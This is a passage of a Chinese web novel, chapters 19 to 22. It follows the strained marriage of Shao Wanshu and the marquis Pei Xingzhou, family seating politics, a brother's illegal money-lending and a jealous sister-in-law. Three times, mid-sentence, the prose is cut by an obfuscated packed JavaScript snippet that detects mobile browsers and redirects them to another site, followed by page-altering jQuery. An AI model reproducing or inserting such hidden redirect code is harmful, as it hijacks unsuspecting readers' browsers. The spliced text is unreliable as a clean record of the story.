阿梨:“夫人,咱们要不要去前院问问侯爷回来了没有?” 阿桔:“有什么好问的,侯爷忙得很,还不知道何时才能回来。” 每个月的这个时候,三房都会去祥和院。不同的是,二房和三房都是夫妇俩一同出现,邵婉淑和裴行舟从未一起去过。不管别的房夫妇真实关系如何,至少表面上是和睦的。她和裴行舟的不合全都摆在了明面上。他们本就是政治联姻,所有人都知道,也无人对此感到意外。 一开始邵婉淑还有些不舒服,每个月这个时候都会让人去前院问问裴行舟是否和她一同去祥和院,得到的答案要么是裴行舟没回来,要么是还没忙完公务,后来她也就习惯了。 邵婉淑:“不必问了,侯爷忙着公务,等他忙完自会去的。” 收拾好之后,邵婉淑从屋里出去了。 刚走到屋檐下,就看到裴行舟高大的身影出现在了院子里。 邵婉淑停下了脚步,裴行舟大步朝着她走来。 此刻天色已经暗了下来,屋里掌了灯。裴行舟的身影原本是十分模糊的,只能看得到一丝轮廓,慢慢地,他的身影变得清晰。 玄色衣裳,黑色皂靴,玉冠束发。 很快,他来到了邵婉淑面前。 邵婉淑站在屋檐下,裴行舟站在平地上,二人头一次平视着。 邵婉淑发现,裴行舟的确长得十分英俊。剑眉星目,鼻梁高挺。 此刻,他的眼神没有一丝温度,面容也有几分严肃,双手负在身后,自带几分疏离。这样子和在夜里全然不同,像是两个人。 裴行舟:“走吧。” 他竟会专门回内宅陪她一同去祥和院,还真是破天荒头一次。 邵婉淑:“嗯。” 19.第 19 章 邵婉淑和裴行舟夫妇二人朝着祥和院走去,一路无话。 裴行舟每走几步就要停下来等一等邵婉淑,再后来,他试着将步子迈小一些,邵婉淑堪堪能跟上。 不多时,二人到了祥和院。 屋里热热闹闹的,时不时传来裴行凛说话的声音,杜氏和柳氏的笑声,以及裴明英大叫的声音。 丫鬟掀开了帘子。 见他们夫妇二人同时过来,屋里所有人都看了过来,脸上的神色各异。 裴行凛和杜氏一脸惊讶的表情,柳氏脸上的嫉妒十分明显。裴明英看了一眼后就收回了目光,低声跟杜氏说着什么,毫不在意他们夫妇二人。裴温静抬头看了一眼又低下了头,存在感极低。裴璃对裴行舟和邵婉淑同行没什么反应,反倒是看了一眼身边的柳氏。 唯有姜老夫人一脸笑意。 看着这一对璧人,姜老夫人改变了看法,这门亲事成的好啊!她眼光果然没错,儿子这种冰冰冷冷的武将就该配儿媳这种温婉的文官之女。 “见过母亲。” 姜老夫人笑着说:“好好好,快起来坐下吧,一家人不必如此客气。” 邵婉淑和裴行舟准备落座。 眼下却有了个难题。杜氏和裴明英坐在了姜老夫人身侧,裴温静站在一旁。而左右两侧的两排椅子上,左侧,裴行凛坐在了第一个位置,后面三个位置空着。右侧,裴璃坐在了第三个位置,柳氏在第四个位置上,前面空着两个位置。 裴行凛站起身退了一个位置,站在了左侧第二个位置上,招呼着裴行舟:“大哥,坐这边。” 左侧第一个位置空了出来,左侧第三个和第四个位置也没有人。 邵婉淑是不可能坐在裴行凛后面的座位上的,她心里有了答案,没再看裴行舟,朝着右侧走去。她走过去时,裴璃已经站了起来。 邵婉淑朝着他点了点头,坐在了第一个位置上。 她刚坐下,就看到了身后的裴行舟。 邵婉淑有些意外,她没想到裴行舟竟然拒绝了裴行凛,陪着她来到了右侧。 按理说,裴行舟要坐在她的前面。 邵婉淑刚想站起来给他让座,就见他坐在了第二个位置上,也就是自己的下首。 裴行凛尴尬地站在对面,脸上的惊讶没来得及收回。 落座后,裴行舟对裴行凛点了点头。 裴行凛想说些什么,又闭了嘴,坐下了。 裴行舟收回目光,看向身侧仍旧站着的裴璃。 “坐吧。” 裴璃落座。 裴行舟:“最近书读得如何,今年下场可有胜算?” 定南侯府中,裴行舟和裴行凛都习武,唯有裴璃从文,只是,裴璃于读书一事似乎也不太精通,五年前中了秀才后,考了三次秋闱都没能中举人。 裴璃有些羞愧,低声道:“没……没什么胜算。” 裴行舟:“我问过宋先生了,先生说你今年比之前大有长进,可以下场一试。” 裴行舟和裴璃的对话并没有避着人,一旁的邵婉淑听得清清楚楚的。听到这番话,邵婉淑看了裴行舟一眼。从前她只知裴行舟十分关心裴行凛,没想到他竟然也很关心裴璃这个庶弟。据她所知,姜老夫人和裴行凛可是对裴璃十分的忌惮。裴璃原本也是打算从武的,后来不知为何从了文。 裴璃早已没了信心,应了一声:“嗯,我今年再试试。” 裴行舟:“邹相二十五中举,徐祭酒二十八考中进士,有些人五十多岁才中,一样有成就。你如今年纪轻轻,莫要放弃希望。” 裴璃眼神灼灼地看向裴行舟。 一旁的柳氏小声说了一句:“要是真考到五十岁,也太丢人了吧。” 闻言,裴璃眼里的光明显消散了许多。 裴行舟皱了皱眉,瞥了柳氏一眼后收回了目光。 “你若真想从文,尽管去试,莫要在乎旁人的目光。” 裴璃:“好,多谢大哥。” 看着这兄弟二人相处的情形,邵婉淑有些怀疑自己前世是不是误会了裴璃。在裴行舟去世后,裴璃曾不止一次来过韶华院,那时她一直怀疑裴璃有别的目的,不怀好意,想要打听韶华院的事儿。 这时,丫鬟上了一壶新茶,放在了裴行舟和邵婉淑中间的茶几上。 裴行舟没再多言,转过身想要端茶,结果却看到邵婉淑的目光正落在裴璃身上,眼神有些奇怪。她身为长嫂就这样盯着小叔子多少有些不合适,他轻咳一声,提醒邵婉淑。 邵婉淑也意识到自己刚刚的举动有些奇怪,她收回目光,顺势找了个借口:“方才听侯爷和三弟说起科考一事,我想起邵家有位先生教的不错,十人能中七八,若是三弟有意,我可以引荐,让他指点一下三弟。” 她记得裴璃今年虽然中了,但排名并不高,来年也没能中进士。 裴行舟眼眸微动,邵家一心想拉他入三皇子的阵营,他并未同意。如今邵婉淑竟然会为三弟的仕途添砖加瓦。但他没说什么,侧头看向裴璃。 裴璃尚未回答,柳氏突然刺了一句:“真的吗,我怎么听说大嫂的弟弟到现在还没中呢。” 邵婉淑蹙眉,阿弟不仅中了,还中了探花郎。她刚想反驳,突然想起阿弟此时还没中举,等到今年秋天才中了举人,来年中了探花。 裴行舟的眉也皱了起来。 裴璃知道这位先生,这是京城鼎鼎有名的一位先生,能得到他的指点对他的科考定然有益,但他还是拒绝了。 “多谢大嫂,不必了,宋先生教的挺好的,是我自己的问题。” 邵婉淑没再多说什么。 柳氏感觉尴尬极了,她刚刚说的话竟然没有一个人回应,大家仿佛没听到她说的话一般。裴行舟和邵婉淑也就罢了,裴璃竟然也不回答她,还去回应了邵婉淑。她瞪了裴璃一眼。裴璃像是没有察觉到一般,并未看她。 没过多久便开饭了。 饭后,众人在屋里说话。 裴行舟将裴行凛叫了出去。 距离上次裴行舟跟裴行凛说收回印子钱已经过去了十日,见杜氏那边毫无动静,裴行舟又跟裴行凛提了一次。 裴行凛再次听到裴行舟让杜氏把印子钱收回来时,心里有些不悦,但面上却尽是着急之色。 “大哥放心,我已经催过她了,她说很快就能收回来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985640|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴行舟抬眸看向裴行凛,突然觉得面前的弟弟有些陌生。他一直觉得二弟虽然有些小聪明,但是听话识大体,如今瞧着似乎不是这样。 “很快是多久?” 裴行凛一脸为难的表情:“具体的我也不清楚,差不多十天半个月吧。” 裴行舟却没有放过他,继续问:“究竟是十天,还是半个月?” 裴行凛一咬牙:“十天!她若办不成我亲自去办。” 裴行舟:“阿凛,这是最后一次。我不管你心里在想什么,这件事必须尽快解决,免得生出别的事端。” 看着裴行舟的目光,裴行凛心里有些不舒服,道:“大哥,你对大嫂是不是太好了?她跟咱们可不是一条心,若是她拿走了管家权,咱们家还不得被她卖了。” 裴行舟皱眉,不悦地道:“此事和她无关,这件事是二弟妹做的不对,放印子钱本就是朝廷明令禁止的。你在朝为官,怎么连这么简单的道理都不懂。” 见裴行舟是真的生气了,裴行凛不敢再提邵婉淑,但心里对此事却不以为然。朝廷中放印子钱的可不止他们一家,官府都是睁一只眼闭一只眼的。从前大哥也没这么强烈要求他们,此举分明就是为了邵婉淑。 “她也是为了咱们侯府着想,想让侯府多一些进项。” 裴行舟:“侯府有许多祖上传下来的田产铺子,每年的产出足够府里的嚼用,莫要贪图小利做这种事。” 被裴行舟反驳了几句,裴行凛心里特别不得劲儿。大哥口口声声说不会相信邵婉淑,却为了她屡次训斥他。他能看得出来大哥心里开始摇摆了,不似从前那般厌恶邵婉淑。他越说邵婉淑,他便越要训斥他。 “我知道了,一定会尽快收回来的。” 裴行舟:“嗯。” 裴行凛想到刚刚的一幕,转移了话题,问道:“大哥,你刚刚跟三弟聊什么呢?” 裴行舟:“说了说他科考的事。” 裴行凛顿时就笑了:“大哥,你又不是不知道,三弟就是不成器的,多跟他废什么话。他姨娘就是个下人,我瞧着他也别考了,再考十次也中不了,不如趁早给他找个差事去做,免得丢咱们裴家人的脸。” 裴行舟不赞同地皱眉。 “这并非长久之计,还是要他自己立起来。” 裴行凛见裴行舟还是要管裴璃,低声提醒:“大哥,你这样关心三弟可别惹母亲不高兴。” 裴行舟没有继续这个话题,而是道:“印子钱的事尽早解决。” 见裴行舟还是决定帮助裴璃,裴行凛心里特别不舒服。方才裴行舟同裴璃说话时语气温和,对自己说话却板着脸,究竟谁才是他的亲弟弟? 裴行凛压制住心里的不适,道:“知道了。” 裴行舟掀开帘子去了屋里,他本想跟母亲说一声,要去前院书房处理公务,结果却发现邵婉淑又在看三弟,从前他从未见她和三弟有过任何的交流。 三弟和她年岁相当,又是个读书人,二人坐在一处竟十分的相配。他记得有传言说当年她曾和邹相家的公子议过亲,那邹相家的三公子和他不同,是个读书人。 裴行舟抬步朝着邵婉淑的方向走了过去。 20.第 20 章 邵婉淑的确在看裴璃,确切地说是在看裴璃和柳氏。前世她没怎么关注过这二人,如今看,这夫妇俩着实有些意思。 柳氏一直在裴璃耳边嘀嘀咕咕说着什么。裴璃脸上的表情有些不耐烦,但他并未开口说话,沉默不语。 前世她一直觉得整个定南侯府中只有她和裴行舟这对夫妻是不合的,其余两对夫妇感情都极好。如今瞧着,二房那对暂且不说,三房这对夫妇应该是貌合神离。 看着看着,眼前的视线被一袭熟悉的玄色衣裳挡住了,邵婉淑顺着衣裳看向了面前之人的脸。 刚刚她看到裴行舟把裴行凛叫出去了,二人在外面说话,她眼角瞥到裴行凛也进来了,脸色似乎不太好看。再看面前的裴行舟,面容严肃,看不出来喜怒。但邵婉淑和他相处久了,多少能察觉出来一些情绪。裴行舟脸上看似没什么表情,但她能隐隐察觉出来他也不太高兴。 兄弟俩刚刚在外面吵架了? 不过,他回来后站在她面前是什么意思,难道吵架的内容和她有关? 邵婉淑直接问道:“侯爷有话要说?” 裴行舟:“今日还有许多公务要处理,我先去前院了。” 邵婉淑惊讶地看向裴行舟。她还以为裴行舟会同她说些什么事,没想到说的竟然是他的行踪。 她是三皇子的表姐,他是大皇子的伴读,俩人从身份上看不是一个阵营的,裴行舟跟她说这些做什么?从前他可从未跟她说过任何关于公务的事,甚至还会有意无意避开她。莫非是晚上吃了酒,有些醉了? 邵婉淑一时没琢磨出来裴行舟的意思,只好应了一声:“哦。” 裴行舟已经交代完事情,按理说应该走了,但他却没动,就这么静静看着邵婉淑。 邵婉淑实在是不知道裴行舟的意思,她盯着裴行舟看了看,侧头看向了榻上。见姜老夫人不在,她瞬间就明白了。裴行舟肯定是想去跟婆母说的,结果婆母出去了,所以他才跟她说,让她去跟婆母说。 “一会儿等母亲回来,我跟她说一声。” 裴行舟:“嗯。” 邵婉淑想,自己果然猜对了。 裴行舟转身离去,经过裴璃身侧时,脚步一顿,把他叫了出去。在院子里又嘱咐了几句,这才去了前院。 裴璃一脸迷惑,大哥说话一向言简意赅,不喜欢说废话,也不喜欢重复说。今日却交代了他两次关于科考一事。可见大哥心里还是重视他的,当然那他也不能辜负了大哥的好意,他要好好读书,争取今年考中。 柳氏见丈夫出去了,也跟了出去,正好看到裴行舟离去的背影。 裴璃听到动静侧头看向了身侧,看着妻子眼里的情绪,一改刚刚的温和,脸色沉了下去,冷着脸负手离去。 柳氏见丈夫走了,赶紧跟了过去。 “你等等我。” 裴璃走得极快,脚步不停。 柳氏快步跟上,拦住了裴璃的去路:“刚刚侯爷同你说了什么?” 裴璃虽然停下了脚步,但却没理她。 柳氏的语气有些不耐烦:“你是哑巴吗,侯爷到底跟你说了什么?” 裴璃垂眸看向柳氏,问:“你是想问大哥有没有提你是吗?” 柳氏被戳中心事,脸色有些不自然,眼神也有些躲闪。 “你……你混说什么呢,我问这些作甚。” 裴璃扯了扯嘴角,直白地道:“你安分些吧,免得让大家都难看。” 柳氏心里大惊:“你这是什么意思?” 裴璃:“你跟大嫂是没法比的,就不要再自取其辱了。” 柳氏最忌旁人说她不如邵婉淑,顿时大怒:“我除了出身哪里比不上她了?她不就是有贵妃娘娘这个姑母吗!” 裴璃嗤笑一声,毫不留情地讥讽道:“大嫂不光有贵妃娘娘这个姑母,她还知书达理,心思纯良,待人和善。你又有什么呢?” 柳氏本就对邵婉淑有意见,见丈夫说她比不上邵婉淑,怒火中烧:“好啊,我没想到你竟对邵婉淑存着这样肮脏的心思!” 面对柳氏的无端指控,裴璃面色始终平静,缓缓说道:“你自己心里有鬼便看旁人都是脏的,我劝你收起那些龌龊的心思,莫要被大嫂看出来了。母亲一向喜欢二嫂,可她仍旧要把管家权给大嫂。你连二嫂都比不过,就别想着跟大嫂比了。大嫂要是闹起来,母亲绝不会护着你。” 柳氏的脸色一阵红一阵白,难看得很。 裴璃:“你快回去吧,好好讨好母亲。今晚我要读书,你莫要来烦我。” 说罢,径自离去。 柳氏气得跺了跺脚,她站在原地待了片刻,转身回了祥和院。在看到邵婉淑的那一刻,裴璃的提醒瞬间就被她抛之脑后,取而代之的是嫉妒。凭什么邵婉淑既能得到裴行舟,又能被裴璃另眼相待。 “咦,大哥走了啊,大嫂怎么没和他一起走?” 邵婉淑瞥了柳氏一眼,从前她是真的没有发现柳氏的心思,自从前世柳氏在她面前闹了一场,如今再看,她的心思早已露出来一些,只是她没往那方面想罢了。她倒是挺关注裴行舟的,想必她方才出去也不是因为裴璃,而是因为裴行舟。 “你方才不是看到侯爷出去了么,怎么还会有这样的疑惑?” 看着邵婉淑仿佛知晓一切的目光,柳氏顿时心里一紧。很快她又平复了心情。当年的事情做的隐秘,知道的人不多,而这些人是不可能告诉邵婉淑的。 “哦,我疑惑的是大嫂没跟大哥一起离开。” 见柳氏没有停止话头,还在说此事,邵婉淑有些不悦,故意说道:“侯爷有事要忙,去书房了。等到晚上他定要回内宅的,我们夫妇二人此刻是否一同离开也不重要。” 听邵婉淑如此说,柳氏震惊不已。邵婉淑在她的印象中一向是古板又严肃的,从不跟人开玩笑,也不许旁人开她的玩笑,就像是一个老古董一样。然而,她今日的话里竟然提及了闺房之事。 她为何变得如此古怪?迎着邵婉淑的目光,柳氏心里一紧。邵婉淑不会知道她当年做了什么吧?想到这里,柳氏的脸色变得很难看,她顿时不敢再多说什么,端起茶喝了一口,缓了缓情绪后,起身朝着杜氏和裴明英的方向走去。 杜氏和裴明英正说着要去琉璃斋打一副新首饰,裴温静垂着头安安静静站在一旁听着,一句话也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989783|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。 柳氏一把推开裴温静,站在了她的位置上。 “二嫂和二妹妹打算何时去打首饰,我正好也缺一副呢。” 裴温静踉跄了一步,扶着一旁的椅子站稳了,全程都低着头,没有任何不满的情绪。 对于这件事,柳氏没有丝毫的歉意,杜氏和裴明英也像是没看到一般。 前世裴温静也是这种安静的性子,府里每个人都能踩她一脚。 邵婉淑曾替她出过头。结果既惹来了婆母的不喜,裴温静也没有领情,弄得她里外不是人。从那以后她再也不管了。 邵婉淑看了一眼那边,收回了目光。 等姜老夫人回来,邵婉淑跟她说了一声,回了韶华院。 亥时,邵婉淑沐浴后便去休息了,在她看来,裴行舟既然下午来过了,晚上定不会再来。至于她跟柳氏说裴行舟今晚会回内宅的话,纯属是故意气她的。 阿桔正要吹灭蜡烛,被阿梨阻止了。 “怎么了?” 阿梨低声道:“今日是初一,侯爷兴许会回来。” 最近侯爷常常回来,阿桔都忘了从前他从前只有在初一和十五才会回正院。 “也不一定吧,侯爷现在回内宅哪还看日子,隔三岔五便要回来的。” 阿梨犹豫了一下,还是说道:“别管侯爷回不回,先留着灯吧。” 她还记得上次侯爷回来时见夫人已经熄了灯脸色难看的样子,等到子时,若是侯爷不回来她们再把灯熄了。 阿桔:“好吧。” 阿梨吩咐门口的婆子先不要关门。 约摸过了两刻钟左右,裴行舟的身影出现在了韶华院门口。见邵婉淑还给他留着灯,裴行舟心情不错。 就在邵婉淑快要睡着之际,迷迷糊糊听到外面似乎有些动静,很快,眼前多了一丝光亮,刺眼的光让她眼睛有些不适,缓缓睁开了。 她没有听错,的确是裴行舟回来了。她最近越发看不懂裴行舟了。裴行舟昨晚刚刚回来过,今晚怎么又回来了。 裴行舟看着睡在床中间的邵婉淑,脸色有些难看,方才的好心情荡然无存。 邵婉淑以为裴行舟今晚不会回来了,于是把他那碍事的枕头扔到了床尾,自己睡在了中间。见裴行舟脸色不善,她慢慢往里挪了挪,把外面的位置给裴行舟空了出来。 裴行舟的目光四处逡巡着,似乎在寻找什么。终于他在床尾发现了自己的枕头,沉着脸把枕头拿了回来,放在了邵婉淑身侧,脱下外衣,上了床。 眼下的情形委实有些尴尬,邵婉淑不敢看裴行舟的脸色。 好在阿桔很快就熄了灯,邵婉淑不用看他的脸色了,松了一口气。 裴行舟却没打算放过她,沉声问:“夫人和三弟很熟吗?” 这话问的着实奇怪,她嫁入侯府已有四个月。她是长嫂,裴璃是她的小叔子,俩人同处一个府中。所谓的熟,得看和谁比,怎么比。她听出来裴行舟语气里有几分不悦,以为他还在为她扔了他枕头的事情生气。想到他回来这么晚,把她吵醒了,顿时也来了气。于是故意阴阳怪气地回了一句:“还好吧,见他的次数比见你多。” 21.第 21 章 邵婉淑这话虽然不太好听,但却是实话。 裴璃身上没有差事,每日上午去见先生,下午就在府中读书。他几乎每日都会去给老夫人请安。俩人时常在祥和院相见,有时也会在府里院子里见面。不过,他们二人见面时最多点头打一声招呼,其余什么话都没说过。 裴行舟可不是这样想的,他那有些堵的心口更堵了。但同时他也意识到了这是自己的问题,说话的语气变得温和了些。 “抱歉,最近公务繁忙,没时间回内宅。” 邵婉淑知道这是裴行舟的借口。前世这个时候裴行舟每个月也就回来两次,今生他却能回来得这么频繁。而根据阿梅的打探,很多时候裴行舟的公务并不算多,早早便歇下了。由此可见,裴行舟是否回内宅和他公务多少无关,他就是不想回来。 但既然裴行舟开口道歉了,她也不好再多说什么。 “嗯,我都明白。” 就在邵婉淑以为这个话题到此为止时,裴行舟又接着刚刚的问题问道:“你今晚和三弟聊了什么?” 一连两次提及这个问题,邵婉淑发现到裴行舟很在意这件事。她突然意识到裴行舟这句话或许不是随口问的,他很可能是在怀疑她。他们二人属于不同的阵营,他怀疑她拉拢他不成,开始拉拢侯府的其他人。 这件事他猜错了,她没有任何参与的意思,无论是三皇子还是大皇子,她都不会帮的。 她只是出于前世的事情对裴璃有几分好奇,所以跟他说了几句话,并无任何拉拢之意。裴行舟这般试探她,着实让人不悦。 “聊太多了,不知侯爷想问什么?” 邵婉淑的语气也有些不好。 裴行舟没得到自己想要的答案,心口依旧堵,但他此刻冷静下来了,觉得自己刚刚情绪不太对,竟抓着一个问题问个没完,便没再多说。 见裴行舟不说话了,邵婉淑想到柳氏今晚从外面回来后刺了自己几句,心里也有些不舒服。想到前世裴行舟死后柳氏的嘴脸,她直白地说了出来。 “侯爷和三弟妹挺熟的吧?” 裴行舟沉声问:“你指什么?” 见裴行舟竟然不坦白,邵婉淑道:“我指什么侯爷心里应该清楚,莫要以为我刚嫁入府中,什么都不知道。” 前世今生,她和裴璃说过的话不超过十句,两人之间没有任何拿不到台面上说的事。真正有问题的是裴行舟和柳氏。 裴行舟皱了皱眉,没有回答。 邵婉淑听不到想要的答案,故意扯过被子,面对里侧睡了。 裴行舟见身上的被子全都被扯走了,眉头紧紧皱了起来,她最近真是脾气见长了,俨然没了从前的温婉体贴。不仅早上不起床服侍他,晚上就寝也不等他,甚至敢扔他的枕头,抢他的被子。 他刚想起身离开,想到今日是初一,若是他走了府里怕是会有闲言碎语,于是又忍住了。至于去抢邵婉淑身上的被子,他一个大男人做不出来此事。好在如今天气渐热,他又是习武之人,身上不盖被子也不觉得凉。 邵婉淑觉得以裴行舟的脾气此刻应该离开了,结果听了一会儿没听到他离去的动静,她心里暗暗有些奇怪。但也没奇怪多久,慢慢地就睡着了。 芳华院中,裴行凛正在和杜氏说着收回印子钱的事。 裴行凛:“大哥今日又同我说了印子钱的事,我瞧着他是真的生气了。” 杜氏蹙眉:“侯爷说得简单,可这印子钱尚不到时日,如何能收回来?” 裴行凛:“他是铁了心要收回来了,收不回来也得收了。” 杜氏瞧出来丈夫的意思,小声道:“要是现在收回来,得少赚二百两银子呢。要是再过上一个月,这银子就能赚回来了。” 裴行凛没说话。 杜氏:“这可不仅仅是收回来银子的问题。要是真的把账上的银子收回来了,管家权也就得交给邵婉淑了。咱们真的要交出去吗?一年少赚几千两银子呢。” 侯府账上的银子多,除了放印子钱,府中采买之类的事情也有不少油水可以捞。 裴行凛:“母亲今日找你说了什么?” 杜氏叹气:“跟大哥找你说的事情是一样的。母亲平日里瞧着是心疼夫君的,结果到了关键时候还是跟大哥一条心。她前几日就已经问过我管家的事情了,今日又把我叫过去说了管家的事儿,问我处理好了没有,何时把管家权交给邵婉淑。” 裴行凛皱了皱眉。 杜氏:“你说他俩今日是不是商量好的?” 裴行凛思索片刻,道:“应该不是,按照母亲的性子,若知道咱们放了印子钱定不是这样的反应。” 杜氏点了点头:“嗯,你说得对。要不你去跟母亲说一声,别把管家权给邵婉淑了。母亲最疼你了,侯爷再强势,内宅的事也不得不听母亲的。” 裴行凛想了想,道:“这几日我找个机会吧。” 杜氏:“好。” 自从邵婉淑不在乎裴行舟之后,她想怎么躺就怎么躺,觉睡得格外舒服。 许是因为昨晚睡得早,第二日一早,天还没亮,邵婉淑就醒了。 她是被热醒的。 睁开眼后,她发现自己竟然靠在裴行舟怀中,脖颈下枕着裴行舟的胳膊,腿还搭在了他的身上。裴行舟的身体本就热,如今已是夏日,天气也越来越热了,她就被热醒了。 重生回来后,她睡觉真的是越来越不老实了。 这已经不是她第一次枕着裴行舟的胳膊了。之前也就罢了,裴行舟起得早,她装作没睡醒,也就糊弄过去了。此刻天色尚早,裴行舟还没醒。昨晚二人刚闹了脾气,此刻她再窝在他的怀中就有些不合适了。 邵婉淑慢慢挪动了一下身体,准备往里去一下。结果刚动了一下,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001118|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见裴行舟突然睁开了眼。 邵婉淑心头顿时一跳。 隐隐察觉到裴行舟的身体变化,看着裴行舟眼神里的情绪变化,邵婉淑心跳加速,小心翼翼地收腿。 然而,刚收了一半,腿就被一只大掌握住了,源源不断的热气从脚踝处传来。 下一瞬,她被扯入了裴行舟的怀中。 邵婉淑来不及惊呼,唇就被堵住了。 唇齿相交的那一瞬,两个人身体都是一颤。他们每次温存都是在晚上,从来没有在早上行过此事。虽说天尚未全亮,但已经有了天明的迹象,帐内不至于完全昏暗,她能看得清裴行舟每一个细微的表情变化,渐渐沉入其中。 意乱情迷之际,邵婉淑突然想到了昨晚上两人没有结论的争吵,保持住一丝清明,抬手推了推裴行舟。 裴行舟用了个巧劲儿,把邵婉淑的胳膊拿开了,手上动作没停,嘴里解释道:“柳氏的母亲虽然也姓姜,但却是母亲出了五服的妹妹,关系并不亲密。她在嫁给三弟前,我只在母亲身边见过她几次,连她的样子都没记清楚。” 邵婉淑心里舒坦了些。 但转念一想,又想到了另外一个问题。 原来昨晚他就明白她在意的是什么,为何昨晚不解释,今早才告诉她! 邵婉淑再次推了推裴行舟,质问:“之前为何不解释?” 屡次被打断,裴行舟也有些不悦了,他看向邵婉淑,眯了眯眼,哑声道:“夫人也没给我解释过邹相三公子的事情。” 邵婉淑眼眸微微睁大了些,他竟知道此事,她还以为他不知道呢。她说亲之时,裴行舟仍在丧期,人也不在京城,父亲和姑母从没考虑过他。那时邵家想把她嫁入邹相府。后来裴行舟丧期结束回来,而相府那边又对这门亲事推三阻四,邵家这才转移了目标。 此事的确是他们家做的不妥当,她一直不赞同父亲和姑母的这种行为,可又改变不了什么。她没有选择,他们让她嫁给谁,她便只能嫁给谁。 如此不道德又丢人的事情她又岂会主动跟裴行舟说。 这件事是她理亏。 邵婉淑瞬间没了气势,将放在裴行舟胸口的手拿开了,眼睛也不敢再看裴行舟。 见她不再抵抗,顺从于他,裴行舟既高兴,又有些气闷。瞧着她这副心虚的模样,怕是真的和邹家三公子有过些什么。 此刻,她乌发凌乱地散落在枕头上,白皙的小脸微微泛着红晕,眼睛湿漉漉的,像是被山泉洗过一样。 裴行舟眼神一暗,喉结微滚,看着邵婉淑白皙纤细的脖颈,他俯下身去。 邵婉淑吃痛,惊呼一声,抬手捶了一下裴行舟。 裴行舟满意地看着邵婉淑脖颈上的痕迹,穿上外衫,去院子里练剑了。 听着外面传来的声音,邵婉淑摸了一下自己微痛的脖颈,蹙了蹙眉,裴行舟是属狗的吗? 22.第 22 章 等裴行舟走后,邵婉淑又在床上躺了一会儿才起来,她坐在镜前看了看脖子上的痕迹,又在心里抱怨了裴行舟几句。 阿梨和阿桔二人相视一笑,侯爷和夫人的感情真是越来越好了。 好在痕迹靠近下方锁骨,穿一件高一些的衣衫就能遮住了。邵婉淑收拾一番去祥和院请安了,姜老夫人一脸笑意地看着她。 这种笑容邵婉淑再熟悉不过了,她垂了眸,不看她的目光。 到了傍晚,熟悉的鸡汤又来了。 最近一个月姜老夫人时常让人往韶华院送鸡汤。纵然邵婉淑喜欢喝鸡汤,隔几日就喝还是会有些腻。 邵婉淑正愁着这一锅鸡汤该怎么办时,裴行舟突然回来了。 邵婉淑原本还因为早上裴行舟的行为有些不高兴,但此刻看向裴行舟的眼神有几分热切。 “侯爷吃饭了吗?” 看着邵婉淑的眼神,裴行舟心头一软。早上二人闹了不愉快,他从外面回来后,没有去书房,直接就过来了。即便方才刚刚吃过,但还是说道:“尚未。” 身侧的青云诧异地看向侯爷。 裴行舟察觉到他的目光,微微侧头,警告的意思很明显。 青云连忙垂下头不敢再表现出来什么。 邵婉淑提议:“一起吃吧?” 裴行舟本想着回来看看她就去前院,眼下却不好拒绝了。 “好。” 落座净手后,裴行舟终于看到了桌上的鸡汤。 邵婉淑起身为裴行舟盛汤:“母亲知道侯爷在外辛苦,专门为侯爷熬的,您多喝点。” 母亲何时这般关心过他?裴行舟并不信这番话。他瞥了一眼邵婉淑,并未多言,接过了邵婉淑递给他的鸡汤,三两口就喝完了。 邵婉淑立即又为他盛了一碗。 裴行舟喝了大半盆,邵婉淑才终于不再给他盛了。 邵婉淑自己也硬逼着自己喝了一碗,鸡汤终于见了底。 吃过饭后,裴行舟略坐了一会儿去了前院。 等裴行舟走后,阿桔疑惑地道:“我怎么瞧着侯爷只喝了鸡汤,并未吃多少东西?” 邵婉淑一怔,她方才只顾着让裴行舟喝鸡汤了,还真没注意他吃了什么。仔细一想,好像他一直在喝鸡汤,并未吃多少东西。她下意识想让厨房给他送些吃食,转念一想,他是侯爷,整个府都是他的,他若是饿了自然会让厨房为他做,便没再多做什么。 亥时左右,邵婉淑准备休息了。 阿梨:“夫人,您要不要再等等,兴许侯爷晚上会回来的。” 最近侯爷时常来韶华院,说不定今晚还会回来。 邵婉淑:“不会的,他方才已经来过了,晚上不会再来了。” 前世便是如此,若是裴行舟前院有事要忙,便会早些来后宅坐一会儿,然后夜里就不过来了。到了后面,他干脆不来内宅了,回了府之后直接去前院,她早就习惯了。 邵婉淑放心地去床上睡了,看着床头的两个枕头,她犹豫了一下,还是把裴行舟的枕头扔去了床尾,随后把自己的枕头放在了中间。这样的话,无论是往左还是往右翻身都舒服。 半梦半醒间,邵婉淑察觉到床上突然多了一个人,瞬间清醒过来。 “醒了?”裴行舟低沉的声音在一片漆黑中骤然响起。 